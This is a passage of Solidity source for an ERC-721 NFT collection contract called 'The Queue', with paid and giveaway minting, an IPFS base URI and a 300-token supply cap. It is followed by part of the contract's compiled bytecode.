* @dev Checks if `_operator` is an approved operator for `_owner`.
* @param _owner The address that owns the NFTs.
* @param _operator The address that acts on behalf of the owner.
* @return True if approved for all, false otherwise.
*/
function isApprovedForAll(
address _owner,
address _operator
)
external
override
view
returns (bool)
{
return ownerToOperators[_owner][_operator];
}
/**
* @dev Actually performs the transfer.
* @notice Does NO checks.
* @param _to Address of a new owner.
* @param _tokenId The NFT that is being transferred.
*/
function _transfer(
address _to,
uint256 _tokenId
)
internal
{
address from = idToOwner[_tokenId];
_clearApproval(_tokenId);
_removeNFToken(from, _tokenId);
_addNFToken(_to, _tokenId);
emit Transfer(from, _to, _tokenId);
}
/**
* @dev Mints a new NFT.
* @notice This is an internal function which should be called from user-implemented external
* mint function. Its purpose is to show and properly initialize data structures when using this
* implementation.
* @param _to The address that will own the minted NFT.
* @param _tokenId of the NFT to be minted by the msg.sender.
*/
function _mint(
address _to,
uint256 _tokenId
)
internal
virtual
{
require(_to != address(0), ZERO_ADDRESS);
require(idToOwner[_tokenId] == address(0), NFT_ALREADY_EXISTS);
_addNFToken(_to, _tokenId);
emit Transfer(address(0), _to, _tokenId);
}
/**
* @dev Burns a NFT.
* @notice This is an internal function which should be called from user-implemented external burn
* function. Its purpose is to show and properly initialize data structures when using this
* implementation. Also, note that this burn implementation allows the minter to re-mint a burned
* NFT.
* @param _tokenId ID of the NFT to be burned.
*/
/* slim
function _burn(
uint256 _tokenId
)
internal
virtual
validNFToken(_tokenId)
{
address tokenOwner = idToOwner[_tokenId];
_clearApproval(_tokenId);
_removeNFToken(tokenOwner, _tokenId);
emit Transfer(tokenOwner, address(0), _tokenId);
}
*/
/**
* @dev Removes a NFT from owner.
* @notice Use and override this function with caution. Wrong usage can have serious consequences.
* @param _from Address from which we want to remove the NFT.
* @param _tokenId Which NFT we want to remove.
*/
function _removeNFToken(
address _from,
uint256 _tokenId
)
internal
virtual
{
require(idToOwner[_tokenId] == _from, NOT_OWNER);
delete idToOwner[_tokenId];
}
/**
* @dev Assigns a new NFT to owner.
* @notice Use and override this function with caution. Wrong usage can have serious consequences.
* @param _to Address to which we want to add the NFT.
* @param _tokenId Which NFT we want to add.
*/
function _addNFToken(
address _to,
uint256 _tokenId
)
internal
virtual
{
require(idToOwner[_tokenId] == address(0), NFT_ALREADY_EXISTS);
idToOwner[_tokenId] = _to;
}
/**
* @dev Helper function that gets NFT count of owner. This is needed for overriding in enumerable
* extension to remove double storage (gas optimization) of owner NFT count.
* @param _owner Address for whom to query the count.
* @return Number of _owner NFTs.
*/
/* slim
function _getOwnerNFTCount(
address _owner
)
internal
virtual
view
returns (uint256)
{
return ownerToNFTokenCount[_owner];
}
*/
/**
* @dev Actually perform the safeTransferFrom.
* @param _from The current owner of the NFT.
* @param _to The new owner.
* @param _tokenId The NFT to transfer.
* @param _data Additional data with no specified format, sent in call to `_to`.
*/
function _safeTransferFrom(
address _from,
address _to,
uint256 _tokenId,
bytes memory _data
)
private
canTransfer(_tokenId)
validNFToken(_tokenId)
{
address tokenOwner = idToOwner[_tokenId];
require(tokenOwner == _from, NOT_OWNER);
require(_to != address(0), ZERO_ADDRESS);
_transfer(_to, _tokenId);
if (_to.isContract())
{
bytes4 retval = ERC721TokenReceiver(_to).onERC721Received(msg.sender, _from, _tokenId, _data);
require(retval == MAGIC_ON_ERC721_RECEIVED, NOT_ABLE_TO_RECEIVE_NFT);
}
}
/**
* @dev Clears the current approval of a given NFT ID.
* @param _tokenId ID of the NFT to be transferred.
*/
function _clearApproval(
uint256 _tokenId
)
private
{
if (idToApproval[_tokenId] != address(0))
{
delete idToApproval[_tokenId];
}
}
}
/**
* @dev Optional metadata implementation for ERC-721 non-fungible token standard.
*/
contract NFTokenCollection is
NFToken,
ERC721Metadata
{
string internal nftName;
string internal nftSymbol;
uint256 public tokenPrice = 0.10 ether;
uint256 public nftTokenIdLast = 0;
mapping (uint256 => string) internal idToUri;
address payable public owner;
address payable public artistAddress;
string public baseURI;
uint256 constant public MAX_SUPPLY = 300;
event newTokenMinted(
uint newNFT
);
/**
* @dev Contract constructor.
* @notice When implementing this contract don't forget to set nftName and nftSymbol.
*/
constructor()
{
supportedInterfaces[0x5b5e139f] = true; // ERC721Metadata
supportedInterfaces[0x780e9d63] = true; // ERC721Enumarable
nftName = "The Queue";
nftSymbol = "TheQueue";
owner = payable(msg.sender);
artistAddress = payable(0x7ddE6999173F5e01d0f0fa5A5186D6Ded8DEff9C);
/* Vealed Ipfs TMP Images */
baseURI = "ipfs://QmNYKU32uUo8SAYnmUVdXK7iDr7ugdMGfAv2X36wfCHkFW/";
}
/**
* @dev Returns a descriptive name for a collection of NFTokens.
* @return _name Representing name.
*/
function name()
external
override
view
returns (string memory _name)
{
_name = nftName;
}
/**
* @dev Returns an abbreviated name for NFTokens.
* @return _symbol Representing symbol.
*/
function symbol()
external
override
view
returns (string memory _symbol)
{
_symbol = nftSymbol;
}
function mint(
address _to,
uint256 _tokenId,
string memory _uri
)
internal
{
_mint(_to, _tokenId);
_setTokenUri(_tokenId, _uri);
}
/**
* @dev A distinct URI (RFC 3986) for a given NFT.
* @param _tokenId Id for which we want uri.
* @return URI of _tokenId.
*/
function tokenURI(
uint256 _tokenId
)
external
override
view
validNFToken(_tokenId)
returns (string memory)
{
//return idToUri[_tokenId];
return string(abi.encodePacked(baseURI,uintToString(_tokenId)));
}
/**
* @dev Set a distinct URI (RFC 3986) for a given NFT ID.
* @notice This is an internal function which should be called from user-implemented external
* function. Its purpose is to show and properly initialize data structures when using this
* implementation.
* @param _tokenId Id for which we want URI.
* @param _uri String representing RFC 3986 URI.
*/
function _setTokenUri(
uint256 _tokenId,
string memory _uri
)
internal
validNFToken(_tokenId)
{
idToUri[_tokenId] = _uri;
}
function uintToString(uint v) internal pure returns (string memory) {
uint maxlength = 100;
bytes memory reversed = new bytes(maxlength);
uint i = 0;
while (v != 0) {
uint remainder = v % 10;
v = v / 10;
reversed[i++] = bytes1(uint8(48 + remainder));
}
bytes memory s = new bytes(i); // i + 1 is inefficient
for (uint j = 0; j < i; j++) {
s[j] = reversed[i - j - 1]; // to avoid the off-by-one error
}
string memory str = string(s); // memory isn't implicitly convertible to storage
return str;
}
function setTokenPrice(uint256 _price) public {
require(msg.sender == owner,"Only approved staff can act here");
tokenPrice = _price;
}
function buyTokenNFT (uint256 _numTokens) external payable returns (bool success){
uint256 amount = msg.value;
string memory URI;
require((nftTokenIdLast)+(_numTokens) <= MAX_SUPPLY,"Collection is not more available");
require (_numTokens <= 10 ,"Max 10 Mints each transaction");
require(amount >= tokenPrice * _numTokens,"Not enought amount to buy this NFT");
artistAddress.transfer(amount / 2);
owner.transfer(amount / 2);
for(uint i = 0; i < _numTokens; i++){
nftTokenIdLast += 1;
URI = string(abi.encodePacked(baseURI,uintToString(nftTokenIdLast)));
mint(msg.sender,nftTokenIdLast,URI);
}
emit newTokenMinted(nftTokenIdLast);
return true;
}
/* unVeal the collection*/
function setBaseURIpfs (string memory _baseUri) external returns (bool success){
require(msg.sender==owner,"Only Admin can act this operation");
baseURI = _baseUri;
return true;
}
/* Mint NFTs for giveAway*/
function mintTokenGiveaway (uint256 _numTokens) external returns (bool success){
require(msg.sender==owner,"Only Admin can act this operation");
require((nftTokenIdLast)+(_numTokens) <= MAX_SUPPLY,"Collection is not more available");
for(uint i = 0; i < _numTokens; i++){
nftTokenIdLast += 1;
string memory URI = string(abi.encodePacked(baseURI,uintToString(nftTokenIdLast)));
mint(msg.sender,nftTokenIdLast,URI);
}
return true;
}
function totalSupply()public view returns (uint256) {
return nftTokenIdLast;
}
} | 0x6080604052600436106101355760003560e01c80636a61e5fc116100ab578063a22cb4651161006f578063a22cb4651461042a578063a891717114610453578063c87b56dd14610490578063d7eb3f3a146104cd578063e985e9c5146104f8578063f67774e31461053557610135565b80636a61e5fc146103555780636c0360eb1461037e5780637ff9b596146103a95780638da5cb5b146103d457806395d89b41146103ff57610135565b806323b872dd116100fd57806323b872dd1461023357806332cb6b0c1461025c5780633ad64f5b1461028757806342842e0e146102c45780636352211e146102ed578063646eb1db1461032a57610135565b806301ffc9a71461013a57806306fdde0314610177578063081812fc146101a2578063095ea7b3146101df57806318160ddd14610208575b600080fd5b34801561014657600080fd5b50610161600480360381019061015c9190612b56565b610565565b60405161016e9190612ed9565b60405180910390f35b34801561018357600080fd5b5061018c6105cc565b6040516101999190612ef4565b60405180910390f35b3480156101ae57600080fd5b506101c960048036038101906101c49190612bf9565b61065e565b6040516101d69190612e57565b60405180910390f35b3480156101eb57600080fd5b5061020660048036038101906102019190612b16565b610779565b005b34801561021457600080fd5b5061021d610b5c565b60405161022a9190612fb6565b60405180910390f35b34801561023f57600080fd5b5061025a60048036038101906102559190612a83565b610b66565b005b34801561026857600080fd5b50610271610fb8565b60405161027e9190612fb6565b60405180910390f35b34801561029357600080fd5b506102ae60048036038101906102a99190612bf9565b610fbe565b6040516102bb9190612ed9565b60405180910390f35b3480156102d057600080fd5b506102eb60048036038101906102e69190612a83565b611123565b005b3480156102f957600080fd5b50610314600480360381019061030f9190612bf9565b611143565b6040516103219190612e57565b60405180910390f35b34801561033657600080fd5b5061033f611229565b60405161034c9190612fb6565b60405180910390f35b34801561036157600080fd5b5061037c60048036038101906103779190612bf9565b61122f565b005b34801561038a57600080fd5b506103936112c9565b6040516103a09190612ef4565b60405180910390f35b3480156103b557600080fd5b506103be611357565b6040516103cb9190612fb6565b60405180910390f35b3480156103e057600080fd5b506103e961135d565b6040516103f69190612e72565b60405180910390f35b34801561040b57600080fd5b50610414611383565b6040516104219190612ef4565b60405180910390f35b34801561043657600080fd5b50610451600480360381019061044c9190612ad6565b611415565b005b34801561045f57600080fd5b5061047a60048036038101906104759190612bb0565b611512565b6040516104879190612ed9565b60405180910390f35b34801561049c57600080fd5b506104b760048036038101906104b29190612bf9565b6115c4565b6040516104c49190612ef4565b60405180910390f35b3480156104d957600080fd5b506104e26116d6565b6040516104ef9190612e72565b60405180910390f35b34801561050457600080fd5b5061051f600480360381019061051a9190612a43565b6116fc565b60405161052c9190612ed9565b60405180910390f35b61054f600480360381019061054a9190612bf9565b611790565b60405161055c9190612ed9565b60405180910390f35b6000806000837bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260200190815260200160002060009054906101000a900460ff169050919050565b6060600480546105db9061325c565b80601f01602080910402602001604051908101604052809291908181526020018280546106079061325c565b80156106545780601f1061062957610100808354040283529160200191610654565b820191906000526020600020905b81548152906001019060200180831161063757829003601f168201915b5050505050905090565b600081600073ffffffffffffffffffffffffffffffffffffffff166001600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156040518060400160405280600681526020017f30303330303200000000000000000000000000000000000000000000000000008152509061073c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107339190612ef4565b60405180910390fd5b506002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16915050919050565b8060006001600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690503373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614806108725750600360008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6040518060400160405280600681526020017f3030333030330000000000000000000000000000000000000000000000000000815250906108e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108e09190612ef4565b60405180910390fd5b5082600073ffffffffffffffffffffffffffffffffffffffff166001600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156040518060400160405280600681526020017f3030333030320000000000000000000000000000000000000000000000000000815250906109c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109bd9190612ef4565b60405180910390fd5b5060006001600086815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156040518060400160405280600681526020017f303033303038000000000000000000000000000000000000000000000000000081525090610aa6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a9d9190612ef4565b60405180910390fd5b50856002600087815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550848673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a4505050505050565b6000600754905090565b8060006001600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690503373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161480610c3757503373ffffffffffffffffffffffffffffffffffffffff166002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b80610cc85750600360008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6040518060400160405280600681526020017f303033303034000000000000000000000000000000000000000000000000000081525090610d3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d369190612ef4565b60405180910390fd5b5082600073ffffffffffffffffffffffffffffffffffffffff166001600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156040518060400160405280600681526020017f303033303032000000000000000000000000000000000000000000000000000081525090610e1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e139190612ef4565b60405180910390fd5b5060006001600086815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16146040518060400160405280600681526020017f303033303037000000000000000000000000000000000000000000000000000081525090610efb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ef29190612ef4565b60405180910390fd5b50600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156040518060400160405280600681526020017f303033303031000000000000000000000000000000000000000000000000000081525090610fa4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f9b9190612ef4565b60405180910390fd5b50610faf8686611a21565b50505050505050565b61012c81565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611050576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161104790612f36565b60405180910390fd5b61012c82600754611061919061307f565b11156110a2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109990612f76565b60405180910390fd5b60005b82811015611119576001600760008282546110c0919061307f565b925050819055506000600b6110d6600754611ad6565b6040516020016110e7929190612e33565b60405160208183030381529060405290506111053360075483611cb7565b508080611111906132bf565b9150506110a5565b5060019050919050565b61113e83838360405180602001604052806000815250611cd0565b505050565b60006001600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156040518060400160405280600681526020017f303033303032000000000000000000000000000000000000000000000000000081525090611223576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161121a9190612ef4565b60405180910390fd5b50919050565b60075481565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146112bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112b690612f16565b60405180910390fd5b8060068190555050565b600b80546112d69061325c565b80601f01602080910402602001604051908101604052809291908181526020018280546113029061325c565b801561134f5780601f106113245761010080835404028352916020019161134f565b820191906000526020600020905b81548152906001019060200180831161133257829003601f168201915b505050505081565b60065481565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6060600580546113929061325c565b80601f01602080910402602001604051908101604052809291908181526020018280546113be9061325c565b801561140b5780601f106113e05761010080835404028352916020019161140b565b820191906000526020600020905b8154815290600101906020018083116113ee57829003601f168201915b5050505050905090565b80600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31836040516115069190612ed9565b60405180910390a35050565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146115a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159b90612f36565b60405180910390fd5b81600b90805190602001906115ba9291906128c7565b5060019050919050565b606081600073ffffffffffffffffffffffffffffffffffffffff166001600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156040518060400160405280600681526020017f3030333030320000000000000000000000000000000000000000000000000000815250906116a2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116999190612ef4565b60405180910390fd5b50600b6116ae84611ad6565b6040516020016116bf929190612e33565b604051602081830303815290604052915050919050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b600080349050606061012c846007546117a9919061307f565b11156117ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117e190612f76565b60405180910390fd5b600a84111561182e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161182590612f96565b60405180910390fd5b8360065461183c9190613106565b82101561187e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187590612f56565b60405180910390fd5b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6002846118c791906130d5565b9081150290604051600060405180830381858888f193505050501580156118f2573d6000803e3d6000fd5b50600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc60028461193c91906130d5565b9081150290604051600060405180830381858888f19350505050158015611967573d6000803e3d6000fd5b5060005b848110156119dc57600160076000828254611986919061307f565b92505081905550600b61199a600754611ad6565b6040516020016119ab929190612e33565b60405160208183030381529060405291506119c93360075484611cb7565b80806119d4906132bf565b91505061196b565b507fb8c7997ddf4bbbf0c6f634ec98f43e1e43551d3cdbf37cbf6b11a5b3d6d47084600754604051611a0e9190612fb6565b60405180910390a1600192505050919050565b60006001600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050611a628261229e565b611a6c818361233f565b611a768383612453565b818373ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050565b606060006064905060008167ffffffffffffffff811115611afa57611af96133f5565b5b6040519080825280601f01601f191660200182016040528015611b2c5781602001600182028036833780820191505090505b50905060005b60008514611bbe576000600a86611b499190613308565b9050600a86611b5891906130d5565b9550806030611b67919061307f565b60f81b838380611b76906132bf565b945081518110611b8957611b886133c6565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535050611b32565b60008167ffffffffffffffff811115611bda57611bd96133f5565b5b6040519080825280601f01601f191660200182016040528015611c0c5781602001600182028036833780820191505090505b50905060005b82811015611ca4578360018285611c299190613160565b611c339190613160565b81518110611c4457611c436133c6565b5b602001015160f81c60f81b828281518110611c6257611c616133c6565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053508080611c9c906132bf565b915050611c12565b5060008190508095505050505050919050565b611cc18383612584565b611ccb8282612772565b505050565b8160006001600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690503373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161480611da157503373ffffffffffffffffffffffffffffffffffffffff166002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b80611e325750600360008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6040518060400160405280600681526020017f303033303034000000000000000000000000000000000000000000000000000081525090611ea9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ea09190612ef4565b60405180910390fd5b5083600073ffffffffffffffffffffffffffffffffffffffff166001600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156040518060400160405280600681526020017f303033303032000000000000000000000000000000000000000000000000000081525090611f86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f7d9190612ef4565b60405180910390fd5b5060006001600087815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508773ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16146040518060400160405280600681526020017f303033303037000000000000000000000000000000000000000000000000000081525090612065576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161205c9190612ef4565b60405180910390fd5b50600073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1614156040518060400160405280600681526020017f30303330303100000000000000000000000000000000000000000000000000008152509061210e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121059190612ef4565b60405180910390fd5b506121198787611a21565b6121388773ffffffffffffffffffffffffffffffffffffffff1661287c565b156122945760008773ffffffffffffffffffffffffffffffffffffffff1663150b7a02338b8a8a6040518563ffffffff1660e01b815260040161217e9493929190612e8d565b602060405180830381600087803b15801561219857600080fd5b505af11580156121ac573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906121d09190612b83565b905063150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916146040518060400160405280600681526020017f303033303035000000000000000000000000000000000000000000000000000081525090612291576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122889190612ef4565b60405180910390fd5b50505b5050505050505050565b600073ffffffffffffffffffffffffffffffffffffffff166002600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461233c576002600082815260200190815260200160002060006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690555b50565b8173ffffffffffffffffffffffffffffffffffffffff166001600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146040518060400160405280600681526020017f303033303037000000000000000000000000000000000000000000000000000081525090612418576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161240f9190612ef4565b60405180910390fd5b506001600082815260200190815260200160002060006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690555050565b600073ffffffffffffffffffffffffffffffffffffffff166001600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146040518060400160405280600681526020017f30303330303600000000000000000000000000000000000000000000000000008152509061252d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125249190612ef4565b60405180910390fd5b50816001600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156040518060400160405280600681526020017f30303330303100000000000000000000000000000000000000000000000000008152509061262c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126239190612ef4565b60405180910390fd5b50600073ffffffffffffffffffffffffffffffffffffffff166001600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146040518060400160405280600681526020017f303033303036000000000000000000000000000000000000000000000000000081525090612707576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126fe9190612ef4565b60405180910390fd5b506127128282612453565b808273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a45050565b81600073ffffffffffffffffffffffffffffffffffffffff166001600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156040518060400160405280600681526020017f30303330303200000000000000000000000000000000000000000000000000008152509061284e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128459190612ef4565b60405180910390fd5b50816008600085815260200190815260200160002090805190602001906128769291906128c7565b50505050565b60008060007fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47060001b9050833f91506000801b82141580156128be5750808214155b92505050919050565b8280546128d39061325c565b90600052602060002090601f0160209004810192826128f5576000855561293c565b82601f1061290e57805160ff191683800117855561293c565b8280016001018555821561293c579182015b8281111561293b578251825591602001919060010190612920565b5b509050612949919061294d565b5090565b5b8082111561296657600081600090555060010161294e565b5090565b600061297d61297884612ff6565b612fd1565b90508281526020810184848401111561299957612998613429565b5b6129a484828561321a565b509392505050565b6000813590506129bb81613562565b92915050565b6000813590506129d081613579565b92915050565b6000813590506129e581613590565b92915050565b6000815190506129fa81613590565b92915050565b600082601f830112612a1557612a14613424565b5b8135612a2584826020860161296a565b91505092915050565b600081359050612a3d816135a7565b92915050565b60008060408385031215612a5a57612a59613433565b5b6000612a68858286016129ac565b9250506020612a79858286016129ac565b9150509250929050565b600080600060608486031215612a9c57612a9b613433565b5b6000612aaa868287016129ac565b9350506020612abb868287016129ac565b9250506040612acc86828701612a2e565b9150509250925092565b60008060408385031215612aed57612aec613433565b5b6000612afb858286016129ac565b9250506020612b0c858286016129c1565b9150509250929050565b60008060408385031215612b2d57612b2c613433565b5b6000612b3b858286016129ac565b9250506020612b4c85828601612a2e565b9150509250929050565b600060208284031215612b6c57612b6b613433565b5b6000612b7a848285016129d6565b91505092915050565b600060208284031215612b9957612b98613433565b5b6000612ba7848285016129eb565b91505092915050565b600060208284031215612bc657612bc5613433565b5b600082013567ffffffffffffffff811115612be457612be361342e565b5b612bf084828501612a00565b91505092915050565b600060208284031215612c0f57612c0e613433565b5b6000612c1d84828501612a2e565b91505092915050565b612c2f816131a6565b82525050565b612c3e81613194565b82525050565b612c4d816131b8565b82525050565b6000612c5e8261303c565b612c688185613052565b9350612c78818560208601613229565b612c8181613438565b840191505092915050565b6000612c9782613047565b612ca18185613063565b9350612cb1818560208601613229565b612cba81613438565b840191505092915050565b6000612cd082613047565b612cda8185613074565b9350612cea818560208601613229565b80840191505092915050565b60008154612d038161325c565b612d0d8186613074565b94506001821660008114612d285760018114612d3957612d6c565b60ff19831686528186019350612d6c565b612d4285613027565b60005b83811015612d6457815481890152600182019150602081019050612d45565b838801955050505b50505092915050565b6000612d82602083613063565b9150612d8d82613449565b602082019050919050565b6000612da5602183613063565b9150612db082613472565b604082019050919050565b6000612dc8602283613063565b9150612dd3826134c1565b604082019050919050565b6000612deb602083613063565b9150612df682613510565b602082019050919050565b6000612e0e601d83613063565b9150612e1982613539565b602082019050919050565b612e2d81613210565b82525050565b6000612e3f8285612cf6565b9150612e4b8284612cc5565b91508190509392505050565b6000602082019050612e6c6000830184612c35565b92915050565b6000602082019050612e876000830184612c26565b92915050565b6000608082019050612ea26000830187612c35565b612eaf6020830186612c35565b612ebc6040830185612e24565b8181036060830152612ece8184612c53565b905095945050505050565b6000602082019050612eee6000830184612c44565b92915050565b60006020820190508181036000830152612f0e8184612c8c565b905092915050565b60006020820190508181036000830152612f2f81612d75565b9050919050565b60006020820190508181036000830152612f4f81612d98565b9050919050565b60006020820190508181036000830152612f6f81612dbb565b9050919050565b60006020820190508181036000830152612f8f81612dde565b9050919050565b60006020820190508181036000830152612faf81612e01565b9050919050565b6000602082019050612fcb6000830184612e24565b92915050565b6000612fdb612fec565b9050612fe7828261328e565b919050565b6000604051905090565b600067ffffffffffffffff821115613011576130106133f5565b5b61301a82613438565b9050602081019050919050565b60008190508160005260206000209050919050565b600081519050919050565b600081519050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600081905092915050565b600061308a82613210565b915061309583613210565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156130ca576130c9613339565b5b828201905092915050565b60006130e082613210565b91506130eb83613210565b9250826130fb576130fa613368565b5b828204905092915050565b600061311182613210565b915061311c83613210565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561315557613154613339565b5b828202905092915050565b600061316b82613210565b915061317683613210565b92508282101561318957613188613339565b5b828203905092915050565b600061319f826131f0565b9050919050565b60006131b1826131f0565b9050919050565b60008115159050919050565b60007fffffffff00000000000000000000000000000000000000000000000000000000